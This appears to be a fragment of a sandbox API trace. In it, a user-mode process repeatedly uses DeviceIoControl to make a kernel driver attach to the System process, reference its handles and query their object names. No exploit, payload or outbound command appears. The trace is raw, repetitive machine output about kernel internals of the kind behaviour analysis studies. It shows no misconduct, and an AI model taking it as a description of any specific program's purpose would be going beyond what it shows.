IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.583] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.583] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.583] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.583] PsAcquireProcessExitSynchronization () returned 0x0 [0089.583] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.583] ObReferenceObjectByHandle (in: Handle=0xffffffff80000718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002139d20, HandleInformation=0x0) returned 0x0 [0089.583] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.583] PsReleaseProcessExitSynchronization () returned 0x2 [0089.583] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.583] ObQueryNameString (in: Object=0xfffffa8002139d20, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.584] ObfDereferenceObject (Object=0xfffffa8002139d20) returned 0x2 [0089.584] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.584] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.584] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.584] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.584] PsAcquireProcessExitSynchronization () returned 0x0 [0089.584] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.584] ObReferenceObjectByHandle (in: Handle=0xffffffff8000071c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002502f20, HandleInformation=0x0) returned 0x0 [0089.584] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.584] PsReleaseProcessExitSynchronization () returned 0x2 [0089.584] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.584] ObQueryNameString (in: Object=0xfffffa8002502f20, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.584] ObfDereferenceObject (Object=0xfffffa8002502f20) returned 0x2 [0089.584] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.584] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.584] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.584] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.584] PsAcquireProcessExitSynchronization () returned 0x0 [0089.584] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.584] ObReferenceObjectByHandle (in: Handle=0xffffffff80000720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002157050, HandleInformation=0x0) returned 0x0 [0089.584] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.584] PsReleaseProcessExitSynchronization () returned 0x2 [0089.584] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.584] ObQueryNameString (in: Object=0xfffffa8002157050, ObjectNameInfo=0xfffffa800398b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800398b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.584] ObfDereferenceObject (Object=0xfffffa8002157050) returned 0x2 [0089.584] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.584] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.584] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.584] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.584] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.584] PsAcquireProcessExitSynchronization () returned 0x0 [0089.584] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.584] ObReferenceObjectByHandle (in: Handle=0xffffffff80000724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002066a30, HandleInformation=0x0) returned 0x0 [0089.584] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.585] PsReleaseProcessExitSynchronization () returned 0x2 [0089.585] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.585] ObQueryNameString (in: Object=0xfffffa8002066a30, ObjectNameInfo=0xfffffa8003a81044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a81044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.585] ObfDereferenceObject (Object=0xfffffa8002066a30) returned 0x2 [0089.585] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.585] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.585] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.585] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.585] PsAcquireProcessExitSynchronization () returned 0x0 [0089.585] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.585] ObReferenceObjectByHandle (in: Handle=0xffffffff80000728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800312cf20, HandleInformation=0x0) returned 0x0 [0089.585] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.585] PsReleaseProcessExitSynchronization () returned 0x2 [0089.585] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.585] ObQueryNameString (in: Object=0xfffffa800312cf20, ObjectNameInfo=0xfffffa8003a7e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.585] ObfDereferenceObject (Object=0xfffffa800312cf20) returned 0x2 [0089.585] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.585] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.585] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.585] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.585] PsAcquireProcessExitSynchronization () returned 0x0 [0089.585] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.585] ObReferenceObjectByHandle (in: Handle=0xffffffff80000730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800390c050, HandleInformation=0x0) returned 0x0 [0089.585] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.585] PsReleaseProcessExitSynchronization () returned 0x2 [0089.585] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.585] ObQueryNameString (in: Object=0xfffffa800390c050, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.585] ObfDereferenceObject (Object=0xfffffa800390c050) returned 0x2 [0089.585] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.585] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.585] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.585] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.586] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.586] PsAcquireProcessExitSynchronization () returned 0x0 [0089.586] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.586] ObReferenceObjectByHandle (in: Handle=0xffffffff80000734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022f5f20, HandleInformation=0x0) returned 0x0 [0089.586] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.586] PsReleaseProcessExitSynchronization () returned 0x2 [0089.586] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.586] ObQueryNameString (in: Object=0xfffffa80022f5f20, ObjectNameInfo=0xfffffa8003a77044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a77044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.586] ObfDereferenceObject (Object=0xfffffa80022f5f20) returned 0x2 [0089.586] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.586] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.586] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.586] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.586] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.586] PsAcquireProcessExitSynchronization () returned 0x0 [0089.586] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.586] ObReferenceObjectByHandle (in: Handle=0xffffffff80000738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800231b5f0, HandleInformation=0x0) returned 0x0 [0089.586] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.586] PsReleaseProcessExitSynchronization () returned 0x2 [0089.586] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.586] ObQueryNameString (in: Object=0xfffffa800231b5f0, ObjectNameInfo=0xfffffa8003a78044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a78044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.586] ObfDereferenceObject (Object=0xfffffa800231b5f0) returned 0x2 [0089.586] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.586] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.586] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.586] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.586] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.586] PsAcquireProcessExitSynchronization () returned 0x0 [0089.586] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.586] ObReferenceObjectByHandle (in: Handle=0xffffffff8000073c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80033fab60, HandleInformation=0x0) returned 0x0 [0089.586] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.586] PsReleaseProcessExitSynchronization () returned 0x2 [0089.586] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.586] ObQueryNameString (in: Object=0xfffffa80033fab60, ObjectNameInfo=0xfffffa8003a79044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a79044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.586] ObfDereferenceObject (Object=0xfffffa80033fab60) returned 0x2 [0089.586] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.587] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.587] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.587] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.587] PsAcquireProcessExitSynchronization () returned 0x0 [0089.587] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.587] ObReferenceObjectByHandle (in: Handle=0xffffffff80000740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025ec620, HandleInformation=0x0) returned 0x0 [0089.587] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.587] PsReleaseProcessExitSynchronization () returned 0x2 [0089.587] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.587] ObQueryNameString (in: Object=0xfffffa80025ec620, ObjectNameInfo=0xfffffa8003a7a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7a044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.587] ObfDereferenceObject (Object=0xfffffa80025ec620) returned 0x2 [0089.587] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.587] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.587] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.587] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.587] PsAcquireProcessExitSynchronization () returned 0x0 [0089.587] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.587] ObReferenceObjectByHandle (in: Handle=0xffffffff80000748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f1de60, HandleInformation=0x0) returned 0x0 [0089.587] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.587] PsReleaseProcessExitSynchronization () returned 0x2 [0089.587] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.587] ObQueryNameString (in: Object=0xfffffa8001f1de60, ObjectNameInfo=0xfffffa8003a7b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.587] ObfDereferenceObject (Object=0xfffffa8001f1de60) returned 0x2 [0089.587] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.587] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.587] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.587] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.587] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.587] PsAcquireProcessExitSynchronization () returned 0x0 [0089.587] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.587] ObReferenceObjectByHandle (in: Handle=0xffffffff8000074c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800381d390, HandleInformation=0x0) returned 0x0 [0089.587] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.587] PsReleaseProcessExitSynchronization () returned 0x2 [0089.588] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.588] ObQueryNameString (in: Object=0xfffffa800381d390, ObjectNameInfo=0xfffffa8003a7c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7c044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.588] ObfDereferenceObject (Object=0xfffffa800381d390) returned 0x2 [0089.588] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.588] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.588] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.588] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.588] PsAcquireProcessExitSynchronization () returned 0x0 [0089.588] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.588] ObReferenceObjectByHandle (in: Handle=0xffffffff80000750, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025e94b0, HandleInformation=0x0) returned 0x0 [0089.588] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.588] PsReleaseProcessExitSynchronization () returned 0x2 [0089.588] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.588] ObQueryNameString (in: Object=0xfffffa80025e94b0, ObjectNameInfo=0xfffffa8003a7d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.588] ObfDereferenceObject (Object=0xfffffa80025e94b0) returned 0x2 [0089.588] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.588] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.588] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.588] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.588] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.588] PsAcquireProcessExitSynchronization () returned 0x0 [0089.588] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.588] ObReferenceObjectByHandle (in: Handle=0xffffffff80000754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800288edd0, HandleInformation=0x0) returned 0x0 [0089.588] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.588] PsReleaseProcessExitSynchronization () returned 0x2 [0089.588] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.588] ObQueryNameString (in: Object=0xfffffa800288edd0, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.588] ObfDereferenceObject (Object=0xfffffa800288edd0) returned 0x2 [0089.589] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.589] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.589] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.589] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.589] PsAcquireProcessExitSynchronization () returned 0x0 [0089.589] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.589] ObReferenceObjectByHandle (in: Handle=0xffffffff80000758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037aef20, HandleInformation=0x0) returned 0x0 [0089.589] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.589] PsReleaseProcessExitSynchronization () returned 0x2 [0089.589] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.589] ObQueryNameString (in: Object=0xfffffa80037aef20, ObjectNameInfo=0xfffffa8003ac2044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac2044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.589] ObfDereferenceObject (Object=0xfffffa80037aef20) returned 0x2 [0089.589] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.589] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.589] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.589] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.589] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.589] PsAcquireProcessExitSynchronization () returned 0x0 [0089.589] KeStackAttachProcess (in: 